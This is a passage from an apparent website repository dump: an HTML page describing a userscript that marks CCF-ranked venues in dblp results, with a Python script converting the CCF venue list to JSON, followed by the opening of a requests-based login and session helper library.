Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          CCF Badge\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        CCF Badge\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    数据处理过程\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    数据处理过程\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"ccf-badge\">CCF Badge<a class=\"headerlink\" href=\"#ccf-badge\" title=\"Permanent link\">&para;</a></h1>\n<p>在dblp搜索结果中高亮显示安全顶会和CCF分类+方向</p>\n<p>安装 Chrome插件<a href=\"https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo\">Tampermonkey</a> 后点击安装： <a href=\"https://blog.chenyuan.me/code/ccfbadge.user.js\">https://blog.chenyuan.me/code/ccfbadge.user.js</a></p>\n<p>效果：</p>\n<p><a href=\"https://dblp.org/search?q=use-after-free\">https://dblp.org/search?q=use-after-free</a></p>\n<p><img alt=\"\" src=\"/assets/img/ccfbadge.png\" /></p>\n<h2 id=\"_1\">数据处理过程<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<ul>\n<li>下载官方目录PDF: <a href=\"https://www.ccf.org.cn/Academic_Evaluation/By_category/\">https://www.ccf.org.cn/Academic_Evaluation/By_category/</a></li>\n<li>转换成Excel: <a href=\"https://smallpdf.com/pdf-to-excel\">https://smallpdf.com/pdf-to-excel</a></li>\n<li>Python读取excel处理：部分dblp有链接但pdf中不是dblp链接的需要手工更正，asiaccs的链接需要与ccs区分</li>\n</ul>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">xlrd</span><span class=\"p\">,</span> <span class=\"s s-Atom\">json</span>\n<span class=\"s s-Atom\">from</span> <span class=\"s s-Atom\">pprint</span> <span class=\"s s-Atom\">import</span> <span class=\"s s-Atom\">pprint</span>\n<span class=\"s s-Atom\">wb</span><span class=\"o\">=</span><span class=\"s s-Atom\">xlrd</span><span class=\"p\">.</span><span class=\"nf\">open_workbook</span><span class=\"p\">(</span><span class=\"s2\">&quot;中国计算机学会推荐国际学术会议和期刊目录-2019-converted.xlsx&quot;</span><span class=\"p\">)</span>\n<span class=\"s s-Atom\">type</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;&quot;</span>\n<span class=\"s s-Atom\">allccf</span> <span class=\"o\">=</span> <span class=\"p\">{}</span>\n<span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">sid</span> <span class=\"s s-Atom\">in</span> <span class=\"nf\">range</span><span class=\"p\">(</span><span class=\"s s-Atom\">wb</span><span class=\"p\">.</span><span class=\"s s-Atom\">nsheets</span><span class=\"p\">)</span><span class=\"o\">:</span>\n    <span class=\"s s-Atom\">s</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">wb</span><span class=\"p\">.</span><span class=\"nf\">sheet_by_index</span><span class=\"p\">(</span><span class=\"s s-Atom\">sid</span><span class=\"p\">)</span>\n    <span class=\"s s-Atom\">data</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"nf\">tuple</span><span class=\"p\">([</span><span class=\"s s-Atom\">s</span><span class=\"p\">.</span><span class=\"nf\">cell_value</span><span class=\"p\">(</span><span class=\"s s-Atom\">i</span><span class=\"p\">,</span><span class=\"s s-Atom\">j</span><span class=\"p\">)</span> <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">j</span> <span class=\"s s-Atom\">in</span> <span class=\"nf\">range</span><span class=\"p\">(</span><span class=\"s s-Atom\">s</span><span class=\"p\">.</span><span class=\"s s-Atom\">ncols</span><span class=\"p\">)])</span> <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">i</span> <span class=\"s s-Atom\">in</span> <span class=\"nf\">range</span><span class=\"p\">(</span><span class=\"s s-Atom\">s</span><span class=\"p\">.</span><span class=\"s s-Atom\">nrows</span><span class=\"p\">)]</span>\n    <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">i</span><span class=\"p\">,</span><span class=\"s s-Atom\">line</span> <span class=\"s s-Atom\">in</span> <span class=\"nf\">enumerate</span><span class=\"p\">(</span><span class=\"s s-Atom\">data</span><span class=\"p\">)</span><span class=\"o\">:</span>\n        <span class=\"s s-Atom\">if</span> <span class=\"s s-Atom\">line</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"s s-Atom\">==</span><span class=\"s2\">&quot;序号&quot;</span><span class=\"o\">:</span>\n            <span class=\"s s-Atom\">abc</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s s-Atom\">i</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">].</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;、&quot;</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"nf\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;类&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;&quot;</span><span class=\"p\">).</span><span class=\"nf\">strip</span><span class=\"p\">()</span>\n            <span class=\"s s-Atom\">if</span> <span class=\"s s-Atom\">i</span><span class=\"o\">-</span><span class=\"mi\">2</span><span class=\"o\">&gt;=</span><span class=\"mi\">0</span><span class=\"o\">:</span>\n                <span class=\"s s-Atom\">type</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s s-Atom\">i</span><span class=\"o\">-</span><span class=\"mi\">2</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">].</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;\\n&quot;</span><span class=\"p\">)[</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"nf\">strip</span><span class=\"p\">().</span><span class=\"nf\">strip</span><span class=\"p\">(</span><span class=\"s2\">&quot;（(）)&quot;</span><span class=\"p\">).</span><span class=\"nf\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;／&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;/&quot;</span><span class=\"p\">).</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;/&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">].</span><span class=\"nf\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;计算机&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">)</span>\n            <span class=\"s s-Atom\">table</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s s-Atom\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"o\">:</span><span class=\"p\">]</span>\n    <span class=\"s s-Atom\">newtable</span> <span class=\"o\">=</span> <span class=\"p\">[]</span>\n    <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">i</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">table</span><span class=\"p\">:</span>\n        <span class=\"s s-Atom\">if</span> <span class=\"o\">not</span> <span class=\"nf\">any</span><span class=\"p\">([</span><span class=\"nf\">str</span><span class=\"p\">(</span><span class=\"s s-Atom\">j</span><span class=\"p\">).</span><span class=\"nf\">strip</span><span class=\"p\">()</span> <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">j</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">i</span><span class=\"p\">])</span><span class=\"o\">:</span>\n            <span class=\"s s-Atom\">continue</span>\n        <span class=\"s s-Atom\">id</span><span class=\"p\">,</span> <span class=\"s s-Atom\">simple</span><span class=\"p\">,</span> <span class=\"s s-Atom\">full</span><span class=\"p\">,</span> <span class=\"s s-Atom\">publisher</span><span class=\"p\">,</span> <span class=\"s s-Atom\">url</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"nf\">str</span><span class=\"p\">(</span><span class=\"s s-Atom\">j</span><span class=\"p\">).</span><span class=\"nf\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;\\n&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot; &quot;</span><span class=\"p\">).</span><span class=\"nf\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;  &quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot; &quot;</span><span class=\"p\">)</span> <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">j</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">i</span><span class=\"p\">[</span><span class=\"o\">:-</span><span class=\"mi\">1</span><span class=\"p\">]]</span> <span class=\"s s-Atom\">#</span> <span class=\"s s-Atom\">remove</span> <span class=\"s s-Atom\">last</span> <span class=\"s s-Atom\">empty</span> <span class=\"s s-Atom\">column</span>\n        <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">i</span><span class=\"p\">)</span>\n        <span class=\"s s-Atom\">url</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\n            <span class=\"s2\">&quot;Performance Evaluation: An International Journal&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.uni-trier.de/db/journals/pe&quot;</span><span class=\"p\">,</span>\n            <span class=\"s s-Atom\">&#39;Journal of Electronic Testing-Theory and Applications&#39;</span><span class=\"o\">:</span> <span class=\"s2\">&quot;https://dblp.uni-trier.de/db/journals/et&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;Hot Chips: A Symposium on High Performance Chips&quot;</span><span class=\"o\">:</span> <span class=\"s2\">&quot;https://dblp.uni-trier.de/db/conf/hotchips/index.html&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;ACM Transactions on Privacy and Security&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/journals/tissec/&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;Computer Law and Security Review&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/journals/clsr/&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;IFIP WG 11.9 International Conference on Digital Forensics&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/conf/ifip11-9/&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;Computer Animation and Virtual Worlds&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/journals/jvca/index.html&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;IET Computer Vision&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/journals/iet-cvi/index.html&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;IET Signal Processing&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/journals/iet-spr/index.html&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;International Conference on Collaborative Computing: Networking, Applications and Worksharing&quot;</span><span class=\"o\">:</span><span class=\"s2\">&quot;https://dblp.org/db/conf/colcom/index.html&quot;</span><span class=\"p\">,</span>\n            <span class=\"s2\">&quot;Asia Conference on Computer and Communications Security&quot;</span><span class=\"o\">:</span> <span class=\"s2\">&quot;https://dblp.org/db/conf/asiaccs/index.html&quot;</span><span class=\"p\">,</span>\n        <span class=\"p\">}.</span><span class=\"nf\">get</span><span class=\"p\">(</span><span class=\"s s-Atom\">full</span><span class=\"p\">,</span> <span class=\"s s-Atom\">url</span><span class=\"p\">)</span>\n        <span class=\"s s-Atom\">if</span> <span class=\"s2\">&quot;dblp&quot;</span> <span class=\"o\">not</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">url</span><span class=\"p\">:</span>\n            <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">([</span><span class=\"s s-Atom\">id</span><span class=\"p\">,</span> <span class=\"s s-Atom\">simple</span><span class=\"p\">,</span> <span class=\"s s-Atom\">full</span><span class=\"p\">,</span> <span class=\"s s-Atom\">publisher</span><span class=\"p\">,</span> <span class=\"s s-Atom\">url</span><span class=\"p\">])</span>\n            <span class=\"s s-Atom\">pass</span>\n        <span class=\"s s-Atom\">else</span><span class=\"p\">:</span>\n            <span class=\"s s-Atom\">url</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;/&quot;</span><span class=\"p\">.</span><span class=\"nf\">join</span><span class=\"p\">(</span><span class=\"s s-Atom\">url</span><span class=\"p\">.</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;/&quot;</span><span class=\"p\">)[</span><span class=\"mi\">4</span><span class=\"o\">:</span><span class=\"mi\">6</span><span class=\"p\">])</span>\n            <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">url</span><span class=\"p\">)</span>\n        <span class=\"s s-Atom\">newtable</span><span class=\"p\">.</span><span class=\"nf\">append</span><span class=\"p\">([</span><span class=\"s s-Atom\">id</span><span class=\"p\">,</span> <span class=\"s s-Atom\">simple</span><span class=\"p\">,</span> <span class=\"s s-Atom\">full</span><span class=\"p\">,</span> <span class=\"s s-Atom\">publisher</span><span class=\"p\">,</span> <span class=\"s s-Atom\">url</span><span class=\"p\">])</span>\n        <span class=\"s s-Atom\">if</span> <span class=\"s s-Atom\">url</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">allccf</span><span class=\"p\">:</span>\n            <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">i</span><span class=\"p\">,</span> <span class=\"s s-Atom\">allccf</span><span class=\"p\">[</span><span class=\"s s-Atom\">url</span><span class=\"p\">])</span> <span class=\"s s-Atom\">#</span> <span class=\"s s-Atom\">we</span> <span class=\"s s-Atom\">find</span> <span class=\"s s-Atom\">that</span> <span class=\"s s-Atom\">aisaccs</span> <span class=\"s s-Atom\">link</span> <span class=\"o\">is</span> <span class=\"s s-Atom\">wrong</span>\n            <span class=\"s s-Atom\">assert</span> <span class=\"s s-Atom\">allccf</span><span class=\"p\">[</span><span class=\"s s-Atom\">url</span><span class=\"p\">][</span><span class=\"mi\">1</span><span class=\"p\">]</span> <span class=\"o\">==</span> <span class=\"s s-Atom\">abc</span> <span class=\"s s-Atom\">#</span> <span class=\"s s-Atom\">same</span> <span class=\"s s-Atom\">item</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">different</span> <span class=\"s s-Atom\">categories</span><span class=\"p\">,</span> <span class=\"s s-Atom\">should</span> <span class=\"s s-Atom\">be</span> <span class=\"s s-Atom\">same</span> <span class=\"s s-Atom\">in</span> <span class=\"nv\">ABC</span>\n            <span class=\"s s-Atom\">allccf</span><span class=\"p\">[</span><span class=\"s s-Atom\">url</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"s s-Atom\">allccf</span><span class=\"p\">[</span><span class=\"s s-Atom\">url</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"s s-Atom\">+</span><span class=\"s2\">&quot;/&quot;</span><span class=\"o\">+</span><span class=\"s s-Atom\">type</span><span class=\"p\">,</span> <span class=\"s s-Atom\">abc</span><span class=\"p\">)</span>\n        <span class=\"s s-Atom\">else</span><span class=\"p\">:</span>\n            <span class=\"s s-Atom\">allccf</span><span class=\"p\">[</span><span class=\"s s-Atom\">url</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"s s-Atom\">type</span><span class=\"p\">,</span> <span class=\"s s-Atom\">abc</span><span class=\"p\">)</span>\n    <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">type</span><span class=\"p\">,</span> <span class=\"s s-Atom\">abc</span><span class=\"p\">,</span> <span class=\"p\">[</span><span class=\"s s-Atom\">i</span><span class=\"p\">[</span><span class=\"mi\">4</span><span class=\"p\">]</span> <span class=\"s s-Atom\">for</span> <span class=\"s s-Atom\">i</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">newtable</span><span class=\"p\">])</span>\n<span class=\"nf\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;ccf.json&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;w&quot;</span><span class=\"p\">).</span><span class=\"nf\">write</span><span class=\"p\">(</span><span class=\"s s-Atom\">json</span><span class=\"p\">.</span><span class=\"nf\">dumps</span><span class=\"p\">(</span><span class=\"s s-Atom\">allccf</span><span class=\"p\">))</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/code/EasyLogin.py",
    "content": "# coding:utf-8\r\nfrom __future__ import with_statement\r\n\r\ntry:\r\n    from urllib.parse import urlencode, quote, unquote\r\n    PY2 = False\r\nexcept ImportError:\r\n    from urllib import urlencode, quote, unquote\r\n    PY2 = True\r\nimport requests\r\nimport pickle\r\nimport os\r\nimport random\r\nfrom bs4 import BeautifulSoup\r\nimport hashlib\r\nfrom collections import OrderedDict\r\nimport json\r\ntry:\r\n    import cchardet as chardet\r\nexcept: # pragma: no cover\r\n    import chardet\r\n\r\n__version__ = 20180118\r\n\r\nUALIST = [\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",\r\n    \"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\",\r\n    \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36\"]\r\n\r\ndef mymd5(input):\r\n    if PY2:\r\n        return hashlib.md5(bytes(input)).hexdigest()\r\n    else:\r\n        return hashlib.md5(bytes(input,encoding=\"utf-8\")).hexdigest()\r\n\r\nclass EasyLogin_ValidateFail(Exception):\r\n    pass\r\n\r\nclass EasyLogin:\r\n    def __init__(self, cookie=None, cookiestring=None, cookiefile=None, proxy=None, session=None, cachedir=None):\r\n        \"\"\"\r\n        example: a = EasyLogin(cookie={\"PHPSESSID\":\"...\"}, proxy=\"socks5://127.0.0.1:1080\")\r\n        :param cookie: a dict of cookie\r\n        :param cookiefile: the file contain cookie which saved by get or post(save=True)\r\n        :param proxy: the proxy to use, rememeber schema and `pip install requests[socks]`\r\n        :param session: requests.Session()\r\n        :param cachedir: where cache files should be write to\r\n        \"\"\"\r\n        self.b = None\r\n        self.cookiestack = []\r\n        self.proxies = {'http': proxy, 'https': proxy} if proxy is not None else None\r\n        self.cookiefile = 'cookie.pickle'\r\n        if session is not None:\r\n            self.s = session\r\n            return\r\n        self.s = requests.Session()\r\n        adapter = requests.adapters.HTTPAdapter(pool_connections=100, \r\n                                            pool_maxsize=1000)\r\n        self.s.mount('http://', adapter)\r\n        self.s.headers.update({'User-Agent': 